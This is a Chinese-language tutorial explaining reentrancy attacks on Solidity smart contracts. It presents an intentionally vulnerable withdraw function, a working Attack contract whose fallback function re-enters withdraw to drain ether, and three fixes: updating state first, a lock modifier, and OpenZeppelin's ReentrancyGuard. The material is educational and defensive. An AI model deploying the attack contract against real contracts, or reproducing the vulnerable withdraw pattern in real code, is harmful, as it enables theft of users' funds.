重入攻击(Reentrancy Attack)
重入攻击是指攻击者通过调用目标合约的某个函数,利用该函数在完成关键状态变量更新前调用外部合约的能力,从而反复调用目标合约的函数,最终实现非法的资金提取或状态操作。
漏洞合约
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| // SPDX-License-Identifier: MIT pragma solidity ^0.8.0;
contract Vulnerable { mapping(address => uint256) public balances;
// 存款函数 function deposit() public payable { balances[msg.sender] += msg.value; }
// 提款函数,存在重入攻击漏洞 function withdraw(uint256 amount) public { require(balances[msg.sender] >= amount, "Insufficient balance");
// 向用户发送资金 (bool success, ) = msg.sender.call{value: amount}(""); require(success, "Transfer failed");
// 更新用户余额 balances[msg.sender] -= amount; }
// 合约余额 function getBalance() public view returns (uint256) { return address(this).balance; } }
|
这是一个容易受到重入攻击的合约,它允许用户存款并提款。
问题:
- 在发送资金后,余额更新在后。
- 攻击者可以通过调用自己的回调函数,在 withdraw 执行完成前再次调用 withdraw,从而重复提款。
攻击合约
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| // SPDX-License-Identifier: MIT pragma solidity ^0.8.0;
import "./Vulnerable.sol";
contract Attack { Vulnerable public vulnerable;
constructor(address _vulnerableAddress) { vulnerable = Vulnerable(_vulnerableAddress); }
// 回退函数:用于重入攻击 fallback() external payable { if (address(vulnerable).balance >= 1 ether) { vulnerable.withdraw(1 ether); // 重复调用 } }
// 攻击函数 function attack() public payable { require(msg.value >= 1 ether, "Need at least 1 ether"); vulnerable.deposit{value: 1 ether}(); // 存款 vulnerable.withdraw(1 ether); // 首次提款 }
// 查看攻击合约余额 function getBalance() public view returns (uint256) { return address(this).balance; } }
|
攻击步骤:
- 攻击者部署 Attack 合约并调用 attack。
- 调用 vulnerable.withdraw(1 ether) 时触发回退函数 fallback。
- 回退函数再次调用 withdraw,在余额未更新之前反复提款。
解决方法
- 状态变量优先更新:在执行外部调用前,先更新合约的状态。
- 通过加锁来限制重入:通过给
function
加锁,来限制重入,以达到防止攻击的目的。
状态变量优先更新
将状态变量的更新移到外部调用之前。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| // SPDX-License-Identifier: MIT pragma solidity ^0.8.0;
contract Vulnerable { mapping(address => uint256) public balances;
function deposit() public payable { balances[msg.sender] += msg.value; }
function withdraw(uint256 amount) public { require(balances[msg.sender] >= amount, "Insufficient balance");
// 先更新余额,后转账 balances[msg.sender] -= amount;
(bool success, ) = msg.sender.call{value: amount}(""); require(success, "Transfer failed"); }
function getBalance() public view returns (uint256) { return address(this).balance; } }
|
通过加锁来限制重入
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| // SPDX-License-Identifier: MIT pragma solidity ^0.8.0;
contract Vulnerable { mapping(address => uint256) public balances;
// 通过加锁来限制重入 bool private locker = false; modifier locked() { require(!locker, "reentrant call"); locker = true; _; locker = false; }
function deposit() public payable { balances[msg.sender] += msg.value; }
function withdraw(uint256 amount) public locked { require(balances[msg.sender] >= amount, "Insufficient balance");
(bool success, ) = msg.sender.call{value: amount}(""); require(success, "Transfer failed"); balances[msg.sender] -= amount; }
function getBalance() public view returns (uint256) { return address(this).balance; } }
|
也可通过使用OpenZeppelin中提供的ReentrancyGuard
工具来防止攻击,ReentrancyGuard
机制与锁机制相同。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| // SPDX-License-Identifier: MIT pragma solidity ^0.8.0;
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
contract Vulnerable is ReentrancyGuard { mapping(address => uint256) public balances;
function deposit() public payable { balances[msg.sender] += msg.value; }
function withdraw(uint256 amount) public nonReentrant { require(balances[msg.sender] >= amount, "Insufficient balance");
(bool success, ) = msg.sender.call{value: amount}(""); require(success, "Transfer failed"); balances[msg.sender] -= amount; }
function getBalance() public view returns (uint256) { return address(this).balance; } }
|